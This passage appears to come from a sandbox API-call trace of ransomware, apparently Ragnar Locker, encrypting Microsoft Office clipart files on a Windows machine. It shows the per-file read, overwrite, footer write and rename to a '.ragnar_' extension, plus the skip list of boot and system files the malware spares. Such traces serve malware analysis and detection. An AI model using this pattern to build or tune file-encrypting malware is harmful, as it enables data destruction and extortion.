dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ef, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.818] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.818] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.818] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.819] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.819] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.819] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.819] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.819] GetProcessHeap () returned 0x580000 [0092.819] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.819] CloseHandle (hObject=0xf4) returned 1 [0092.819] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" [0092.819] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.ragnar_FD7BD9FC" [0092.819] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01296_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01296_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.823] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9387f200, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9387f200, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01297_.GIF", cAlternateFileName="")) returned 1 [0092.823] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.823] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01297_.GIF" | out: lpString1="WB01297_.GIF") returned="WB01297_.GIF" [0092.823] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF") returned=".GIF" [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="autorun.inf") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="boot.ini") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="bootfont.bin") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="bootsect.bak") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="bootmgr") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="bootmgr.efi") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="desktop.ini") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="iconcache.db") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="ntldr") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="ntuser.dat") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="ntuser.ini") returned 1 [0092.823] lstrcmpiW (lpString1="WB01297_.GIF", lpString2="thumbs.db") returned 1 [0092.823] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.823] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.823] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.823] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.823] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.823] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.823] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif")) returned 0x20 [0092.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0092.824] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=894) returned 1 [0092.824] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x375, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.824] GetProcessHeap () returned 0x580000 [0092.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0092.824] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0092.826] VirtualAlloc (lpAddress=0x0, dwSize=0x37e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0092.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0092.826] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x37e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x37e, lpOverlapped=0x0) returned 1 [0092.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0092.826] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x37e, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.826] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x37e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x37e, lpOverlapped=0x0) returned 1 [0092.826] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x37e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.826] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.826] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x37e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.826] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0092.826] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.827] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0092.827] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0092.827] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0092.827] GetProcessHeap () returned 0x580000 [0092.827] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0092.827] CloseHandle (hObject=0xf4) returned 1 [0092.827] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" [0092.827] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.ragnar_FD7BD9FC" [0092.827] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01297_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01297_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0092.828] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d921100, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d921100, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x2bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01298_.GIF", cAlternateFileName="")) returned 1 [0092.828] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0092.828] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01298_.GIF" | out: lpString1="WB01298_.GIF") returned="WB01298_.GIF" [0092.828] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF") returned=".GIF" [0092.828] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0092.828] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="autorun.inf") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="boot.ini") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="bootfont.bin") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="bootsect.bak") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="bootmgr") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="bootmgr.efi") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="bootmgfw.efi") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="desktop.ini") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="iconcache.db") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="ntldr") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="ntuser.dat") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="ntuser.dat.log") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="ntuser.ini") returned 1 [0092.839] lstrcmpiW (lpString1="WB01298_.GIF", lpString2="thumbs.db") returned 1 [0092.839] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0092.839] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0092.839] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0092.839] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0092.839] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0092.839] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0092.839] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0092.839] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif")) returned 0x20 [0093.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.090] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=700) returned 1 [0093.091] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.091] GetProcessHeap () returned 0x580000 [0093.091] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.091] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.091] VirtualAlloc (lpAddress=0x0, dwSize=0x2bc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.092] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2bc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2bc, lpOverlapped=0x0) returned 1 [0093.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.092] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2bc, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.092] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2bc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2bc, lpOverlapped=0x0) returned 1 [0093.092] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2bc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.092] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.092] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.092] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.093] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.093] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.093] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0093.093] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.093] GetProcessHeap () returned 0x580000 [0093.093] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.093] CloseHandle (hObject=0xf4) returned 1 [0093.093] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" [0093.093] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.ragnar_FD7BD9FC" [0093.093] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01298_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01298_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.094] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d77c00, ftCreationTime.dwHighDateTime=0x1bd4e67, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82d77c00, ftLastWriteTime.dwHighDateTime=0x1bd4e67, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB01299_.GIF", cAlternateFileName="")) returned 1 [0093.094] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0093.094] lstrcpyW (in: lpString1=0x1eb62e, lpString2="WB01299_.GIF" | out: lpString1="WB01299_.GIF") returned="WB01299_.GIF" [0093.094] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF") returned=".GIF" [0093.094] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="autorun.inf") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="boot.ini") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="bootfont.bin") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="bootsect.bak") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="bootmgr") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="bootmgr.efi") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="desktop.ini") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="iconcache.db") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="ntldr") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="ntuser.dat") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="ntuser.ini") returned 1 [0093.095] lstrcmpiW (lpString1="WB01299_.GIF", lpString2="thumbs.db") returned 1 [0093.095] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.095] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.095] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.095] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.095] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.095] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.095] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.095] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif")) returned 0x20 [0093.095] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01299_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01299_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0093.096] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=318) returned 1 [0093.096] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x135, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.096] GetProcessHeap () returned 0x580000 [0093.096] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.096] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0093.097] VirtualAlloc (lpAddress=0x0, dwSize=0x13e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0093.097] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13e, lpOverlapped=0x0) returned 1 [0093.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0093.097] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13e, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.097] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13e, lpOverlapped=0x0) returned 1 [0093.097] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.097] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.097] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.097] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.098] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0093.098] WriteFile (in: hFile=0xf4, 